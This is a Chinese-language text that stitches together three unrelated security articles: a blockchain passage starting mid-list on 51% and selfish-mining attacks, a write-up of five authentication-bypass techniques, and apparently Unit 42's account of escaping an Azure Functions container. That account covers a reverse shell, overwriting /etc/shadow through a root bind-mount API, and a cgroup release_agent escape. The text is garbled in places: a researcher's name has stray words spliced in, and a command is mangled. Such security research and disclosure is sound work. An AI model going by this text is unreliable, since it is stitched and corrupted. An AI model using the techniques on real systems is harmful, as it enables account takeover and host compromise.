51% 或多數攻擊當黑客控制了51% 的網絡哈希率並創建一個最終優先於現有分叉的替代分叉時,多數攻擊是可能的。這種攻擊最初是唯一已知的區塊鏈漏洞,在不久的過去似乎不切實際。然而,至少有五種加密貨幣——Verge 、 ZenCash、Monacoin、Bitcoin Gold 和Litecoin Cash——已經遭受了51% 的攻擊。在每一種情況下,網絡罪犯都收集了足夠的哈希算力來破壞網絡並賺取數百萬美元。

最近在2020 年8 月發生的對以太坊經典(ETC) 的51% 攻擊導致價值約560 萬美元的ETC 加密貨幣被雙花。顯然,黑客非常了解ETC 協議,並在四天內設法挖掘了4,280 個區塊,直到平台發現攻擊。事件發生僅五天后,ETC 就遭遇了第二次51% 攻擊,其中一名礦工進行了4000 個區塊的網絡重組。

image.png

圖3. 多數攻擊

不幸的是,所有小型加密貨幣仍面臨多數攻擊的風險。由於這些加密貨幣吸引的礦工較少,攻擊者只需租用計算能力即可獲得網絡的大部分份額。 Crypto51的開發人員試圖提醒人們注意破解較小加密貨幣的潛在風險。他們的網站顯示了對各種區塊鏈進行51% 攻擊的預期成本。

防止雙花攻擊的可能措施包括在監聽期間監控收到的交易、轉發雙花嘗試、插入其他節點以觀察交易以及拒絕直接傳入連接。

此外,還有一項稱為閃電網絡的創新技術,旨在解決交易驗證機制中的漏洞利用問題。該網絡允許用戶通過雙向支付渠道網絡即時驗證交易,而無需委託資金保管。但是,它仍然容易受到DDoS 攻擊,其中一次已經發生在2018 年3 月。

5、礦池攻擊對於像比特幣這樣的主要加密貨幣,個體礦工已經不可能賺取利潤,因此礦工通過創建礦池來統一他們的算力。這使他們能夠開採更多的區塊,並且每個人都能獲得一份獎勵。目前,最大的比特幣礦池是BTC.com、AntPool 和ViaBTC。根據Blockchain.com 的數據,它們加起來佔比特幣網絡總哈希率的52% 以上。

礦池是一個不錯的目標。惡意礦工試圖通過利用區塊鏈共識機制中常見的Web 應用程序漏洞來控制內部和外部的礦池。

以下是對礦池最常見的攻擊。

自私挖礦自私挖礦是指惡意礦工試圖通過在一段時間內不向網絡廣播挖出的區塊然後一次釋放幾個區塊,使其他礦工失去他們的區塊來增加他們的獎勵份額。防止此類攻擊的可能措施是將礦工隨機分配到礦池的各個分支,優先選擇時間戳較新的區塊,並在最大可接受時間內生成區塊。這種類型的攻擊也稱為塊扣留。

image.png

圖4. 自私挖礦攻擊

由於2014 年對Eligius礦池的自私挖礦攻擊,礦工損失了300 BTC。自私挖礦有很高的成功機會,並且可能發生在所有加密貨幣上。針對自私挖礦的可能預防措施包括只註冊受信任的礦工,並對現有的比特幣協議進行更改以隱藏部分工作量證明和完整工作量證明之間的差異。

預扣後分叉預扣後分叉(FAW) 是自私挖礦的一種變體,事實證明它對攻擊者更有利可圖。在FAW 攻擊期間,惡意礦工隱藏一個獲勝的區塊,然後丟棄它或稍後釋放它以創建一個分叉,具體取決於情況。由Ujin Kwon 領導的一組研究人員明確描述了這種攻擊的概念。

結論儘管區塊鏈的受歡迎程度仍在上升,但越來越多的針對區塊鏈的網絡攻擊可能對其聲譽產生負面影響。了解最常見的區塊鏈漏洞和攻擊類型對於關注區塊鏈安全並想知道首先要保護什麼的每個人來說都是必須的。

身份驗證繞過漏洞是現代web應用程序中普遍存在的漏洞,也是隱藏最深很難被發現的漏洞。

為此安全防護人員不斷在開發新的認證方法,保障組織的網絡安全。儘管單點登錄(SSO)等工具通常是對舊的登錄用戶方式的改進,但這些技術仍然可能包含嚴重的漏洞。無論是業務邏輯錯誤還是其他軟件漏洞,都需要專業人員來分析其中的複雜性。

我們將在本文中介紹五種真實的身份驗證繞過技術。

技術1——刷新令牌終端配置錯誤在這種情況下,一旦用戶使用有效憑證登錄到應用程序,它就會創建一個在應用程序其他地方使用的承載身份驗證令牌。該認證令牌在一段時間後過期。就在過期之前,應用程序在終端/refresh/tokenlogin中向後端服務器發送了一個請求,該請求在標頭和HTTP主體部分的用戶名參數中包含有效的身份驗證令牌。

進一步的測試表明,刪除請求上的Authorization標頭並更改HTTP主體上的用戶名參數將為提供的用戶名創建一個新的有效令牌。利用此漏洞,擁有匿名配置文件的攻擊者可以通過提供用戶名為任何用戶生成身份驗證令牌。

1.png

技術2 ——SSO配置不正確大多數應用程序都使用SSO系統,因為與處理許多身份驗證門戶相比,SSO系統更容易安全管理。但是簡單地使用SSO並不能自動保護系統,因為SSO的配置也應得到保護。

現在,一個應用程序使用Microsoft SSO系統進行身份驗證。當訪問internal.redacted.com URL時,web瀏覽器會重定向到單點登錄系統:

2.png

乍一看,它似乎是安全的,但對後端請求的分析顯示,應用程序在重定向響應上返回了異常大的內容長度(超過40000字節)

3.png

為什麼應用程序要這樣做呢?當然是配置錯誤。在將用戶發送到SSO的重定向時,應用程序向每個請求洩露了其內部響應。因此,可以篡改響應,將302 Found頭更改為200 OK,並刪除整個Location標頭,從而獲得對整個應用程序的訪問。

4.png

此外,可以通過在Burp Suite中添加Match Replace規則來自動刪除標題並自動更改值,從而實現這個過程的自動化。

5.png

技術3——基於CMS的訪問漏洞內容管理系統(CMS),如WordPress、Drupal和Hubspot也需要進行安全配置,以免它們在使用中中引入漏洞。

在發現的一個示例中,在一個內部應用程序中使用了一個流行的CMS平台Liferay。該應用程序只有一個不需要身份驗證就可以訪問的登錄頁面,所有其他頁面都在應用程序UI中受到限制。

對於那些不熟悉Liferay的人來說,CMS為應用程序工作流使用了portlet,它的參數是數字中的p_p_id。對於該應用程序,可以通過將參數值更改為58來訪問登錄portlet。在正常的登錄頁面中,只有登錄表單是可訪問的。然而,通過直接訪問portlet,可以達到Create Account功能,然後在不需要適當的授權情況下就可以進行自註冊並訪問內部應用程序。

6.png

請注意,雖然Liferay以前使用過這個工作流,但它的最新版本使用了portlet名稱而不是數字ID。不過,也可以通過更改名稱來訪問其他portlet。

技術4 ——JWT令牌的使用JWT令牌或JSON web令牌,在新的web應用程序中很流行。但是,雖然它們默認具有安全機制,但後端服務器配置也應該是安全的。

我的一項任務是在他們的內部應用程序中使用SSO身份驗證。當直接訪問時,應用程序將用戶重定向到Microsoft SSO web頁面。到目前為止,一切順利。

然而,一些JS文件不需要身份驗證就可以訪問。測試顯示,該應用程序使用了安全登錄後通過Microsoft SSO系統發送的JWT令牌。在後端機制上,存在一個安全錯誤配置,即不檢查是否為特定的應用程序生成了JWT令牌。相反,它接受任何具有有效簽名的JWT令牌。因此,使用來自微軟網站的JWT令牌示例如下:

7.jpg

在通用值內:

8.jpg

有可能訪問內部終端,洩露公司數據。

9.png

技術5——將身份驗證類型更改為Null在此情況中,應用程序通過base64 編碼的XML 請求向HTTP 發布數據上發送所有請求。在登錄機制上,它將用戶名作為參數別名發送,將密碼作為scode發送。 scode 參數內的值已進行哈希處理。分析顯示,它使用了所提供密碼值的md5 值。請求中還有另一個有趣的標誌:scode 有一個屬性,其類型值為2。

10.png

我嘗試將該值賦值為1,它將接受明文密碼。成功了!因此,在明文值中使用暴力攻擊中是可能的。沒什麼大不了的,但這標誌著我走對了路。把它賦值給空值怎麼樣?或者其他值,如-1、0或9999999999?大多數都返回了除0之外的錯誤代碼。我用屬性0做了幾次嘗試,但沒有成功,直到我將密碼值作為空值發送出去。

11.png

我意識到只需提供用戶名和密碼即可訪問任何帳戶。事實證明,這是一個很大的錯誤。

總結複雜的身份驗證機制可能成為攻擊者使用的最具隱蔽性的攻擊手段,特別是在容易出現業務邏輯漏洞的應用程序上。因為自動掃描器大多無法進入這類漏洞,所以仍然需要手工來找到它們。鑑於現代軟件環境的複雜性,沒有任何一個安全研究人員能夠發現所有可能的漏洞或攻擊載體。

Unit 42研究人員調查了Azure的無服務器架構,發現他們能夠破壞底層主機的無服務器函數。研究人員還發現,他們的主機實際上是一個HyperV虛擬機,它託管了其他幾個無服務器函數。 Hyper-V是微軟的一款虛擬化產品,是微軟第一個採用類似Vmware ESXi和Citrix Xen的基於hypervisor的技術。

Azure serverless functions(通常稱為Azure Functions)是一種無服務器解決方案,可以使用戶減少代碼編寫、減少需要維護的基礎結構並節省成本。無需擔心部署和維護服務器,雲基礎結構提供保持應用程序運行所需的所有最新資源。你可以專注於使用你認為最高效的語言編寫最重要的代碼,而Azure Functions 處理其餘代碼。作為一個基於觸發器的服務,它運行代碼以響應各種事件。在本文中,這個事件是一個網頁請求。

研究人員發現,對於每個函數,主機都會生成一個新的容器。每個容器將在幾分鐘後終止並刪除,以將無服務器函數與傳統的容器即服務區分開來。

問題主機只託管研究的Azure用戶有權訪問的函數,因此不會造成真正的攻擊。很明顯,微軟竭盡全力阻止人們訪問主機,因此可能還有其他問題尚未被發現。虛擬機上可能有不應該顯示的重要信息,這些信息可能會被動機充分的攻擊者發現。

微軟經常使用容器來加強安全性,但由於容器本質上不如虛擬機那樣安全,因此通常不會將其視為安全邊界。在本文的示例中,他們實現了額外的安全層,這被證明是有效的。

Prisma的無服務器解決方案為大多數雲提供商提供了函數發現和漏洞掃描功能。這些功能會作用於無服務器函數上,並在發現這些函數中存在已知漏洞時提醒你。

什麼是無服務器函數無服務器函數是無服務器計算(通常簡稱為“無服務器”)的一個特點,雲提供商按需為其客戶提供所有計算資源,並管理所有架構,包括雲基礎設施。

無服務器理想應用程序的一個很好的例子是聊天機器人。例如,Slack使用名為marbot的無服務器應用程序通過Slack向DevOps團隊發送通知。

“serverless”這個名字有點誤導人。不管它的名字意味著什麼,無服務器計算仍然需要物理服務器來執行代碼。與傳統計算的主要區別在於,無服務器抽象了與代碼本身無關的任何東西,從代碼運行的操作系統到實際運行代碼的設備硬件。

無服務器函數的內部結構你可能會問自己的第一個問題是如何開始研究無服務器平台。任何使用過Azure Serverless Functions的人都知道,可研究的地方不是很多。你可以上傳一些代碼或更改一些設置,如下圖所示,但僅此而已。

2.png

通過Azure函數提供的所有不同運行時

研究人員決定從一個HTTP請求觸發的Linux上的Python函數開始研究,對於某些運行時,Windows也可用。

下一步是在函數中獲得一個有效的交互式shell,以更好地理解研究人員正在處理的內容,並獲得有關運行代碼的設備的一些信息。為了便於使用,研究人員決定使用逆向shell。研究人員還決定使用數據傳輸工具socat而不是netcat,因為它支持更廣泛的協議。

3.png

研究人員使用的socat二進製文件

研究人員只是將socat二進製文件放在Visual Studio代碼中的項目目錄中,並將整個文件部署到研究人員之前創建的無服務器函數中。實際啟動逆向shell的代碼非常簡單,因為整個邏輯都在socat應用程序中,如下圖所示。

4.png

連接到逆向shell偵聽器的簡單函數代碼

執行逆向shell後,研究人員進入了一個名為app的用戶下的函數目錄。研究人員使用

cat/proc/1/cgroup_last_cap命令,以SandboxHost開頭的設備主機名也暗示了這一點。

5.png

無服務器函數內部的shell

在研究人員登錄的工作目錄中沒有太有趣的東西。這個目錄包括他們上傳的所有文件,外加一個額外的lib文件夾,其中包含Python與Azure通信所需的庫。

容器這項研究一開始並沒有明確的目標,只是為了改善Prisma的無服務器保護。然而,在了解了更多關於架構的知識後,研究人員渴望探索一下容器。

在熟悉了容器及其文件以及用戶權限等之後,研究人員決定檢查環境變量,因為它們通常包含一些有趣的信息。這一次沒有什麼不同。在其他有趣的事情中,研究人員注意到環境變量洩露了映像名稱。

6.png

環境變量中的映像名稱

在網上搜索這個映像名稱,研究人員找到了一個顯示映像名稱的微軟官方目錄,該目錄指向一個提供所有Microsoft映像(包括我們正在查看的映像)的官方存儲庫。

研究人員的第一個方法是獲取映像“源代碼”(如果你使用Docker,則為Dockerfile)。經過一番搜索,研究人員發現有一個叫做Whaler的實用工具,它可以將Docker映像逆向工程到創建它們的Dockerfile中。該過程如下所示。

7.png

使用Whaler對微軟映像進行逆向工程

Whaler有大量的映像,從而產生一個易於使用的單行命令。使用這個方法,研究人員成功地生成了一個足夠好的Dockerfile版本,如下圖所示。文件中最有趣的部分是最後一行。

8.png

逆向之後的Dockerfile版本

網格文件夾似乎包含一些有趣的文件,特別是launch.sh腳本,它似乎是容器內執行的第一件事。此時,研究人員只需從映像內部複製整個網格文件夾,以進一步研究它。

還有一些腳本在不同的場景中調用了一些其他腳本,該文件夾中有趣的部分是一個名為init的二進製文件,它在每個Azure無服務器容器的後台運行。對研究人員來說幸運的是,這個二進製文件也包含了符號,所以逆向工程很容易。

在研究了函數和字符串列表之後,有一個函數特別有趣:init_server_pkg_mount_BindMount。在對其進行逆向工程之後,研究人員發現該函數將容器內的一條路徑綁定到另一條路徑,該路徑也位於容器內。此函數也不要求用戶具有特權,但它在root上下文中運行!要將一個文件綁定到任何其他文件,你所需要做的就是在容器中使用正確的參數在正確的端口上執行HTTP查詢。

9.png

init_server_pkg_mount_BindMount函數簽名

10.png

init_server_pkg_mount_BindMount函數解析來自HTTP請求的sourcePath和targetPath

在這部分調查的過程中,研究人員還發現了許多關於Azure無服務器架構如何在幕後工作的信息。雖然這超出了本文的範圍,但可以在本文中深入探討這一問題。

升級權限簡而言之,雖然在一個沒有特權的用戶的容器中研究,但研究人員能夠將任何一個文件作為根文件綁定到任何其他文件。此時,研究人員的目標是在容器內將特權升級到根權限。可能有幾種方法可以實現這一點,但研究人員選擇用生成的文件替換/etc/shadow文件,然後將用戶更改為root。

11.png

使用OpenSSL生成/etc/shadow

為了實現這一點,研究人員執行了以下步驟:

為root用戶生成一個密碼已知的/etc/shadow文件;

將該文件上傳到Function容器的本地目錄;

使用正在運行的init服務和BindMount函數通過查詢http://localhost:6060將本地陰影文件綁定到實際的/etc/shadow文件;

使用su-root命令將用戶更改為root。

12.png

不斷升級權限

利用root權限規避容器可以利用新獲得的根訪問來規避容器,通過研究,研究人員選擇了菲利克斯马云惹不起马云威廉姆(Felix Wilhelm)多年前發現的一個舊漏洞。

不過要使用此漏洞也不是一件簡單的事情,要使其正常工作,需要滿足以下幾個要求:

研究人員必須在容器內以root身份運行;

容器需要具有SYS_ADMIN函數;

容器要么沒有AppArmor配置文件,要么允許掛載系統調用;

cgroup v1虛擬文件系統必須在容器內以讀寫方式安裝;

研究人員已經在早些時候實現了第一個需求。令人驚訝的是,其餘的需求在我們的容器中也可用。這是令人驚訝的,因為在默認情況下,容器啟動時具有一組受限的函數,並且沒有啟用SYS_ADMIN函數。此外,Docker通常在默認情況下使用AppArmor策略啟動容器,這防止了在容器使用SYS_ADMIN運行時使用mount sycall。通過在/proc/PID/status下的shell狀態文件上運行capsh命令,研究人員確認了所有必要的函數,如下圖所示。

14.png

使用capsh和一些sed腳本來打印特權用戶函數

關於此漏洞的詳細解釋已超出了本文範圍,我們建議閱讀'Digging into cgroups Escape' 以更好地理解此技術。簡而言之,研究人員將通過以下步驟描述該漏洞:

查找或創建對cgroup控制器的訪問權限(大多數版本的漏洞利用使用RDMA);

在該控制器中創建一個新的cgroup;

將該cgroup的notify_on_release設置為1;

將發布代理設置為容器和主機都可以訪問的文件;

在該cgroup中啟動一個快速完成流程,該流程將在終止時觸發發布代理的執行。

研究人員決定通過運行ps aux並將其與容器的ps aux進行比較來演示實現主機執行上下文。在本節開頭的視頻中,你可以看到漏洞的整個利用過程。需要注意的是,託管容器的設備是HyperV虛擬機,而不是物理服務器。

總結不管怎樣,Azure的用戶都可以訪問虛擬機託管的所有資源,因此,這種防禦沒有什麼意義。這是雲提供商緩解措施按預期工作的一個示例。在本文的示例中,他們選擇不依賴容器作為安全邊界,並實現另一種保護,這被證明是一個聰明的舉動。

但是,如果在虛擬機本身中發現另一個漏洞,這個漏洞可能會產生巨大的影響。此外,微軟在過去已經修復了類似的問題,即使他們本身沒有將其稱為漏洞。

虛擬機可能包含對無服務器函數用戶或可能的攻擊者不可見的重要信息或秘密。在與微軟分享該調查結果後,他們考慮了以下防禦措施,以更好地保護客戶:

對綁定裝載API進行額外驗證,以防止裝載過度;

盡可能從二進製文件中刪除符號。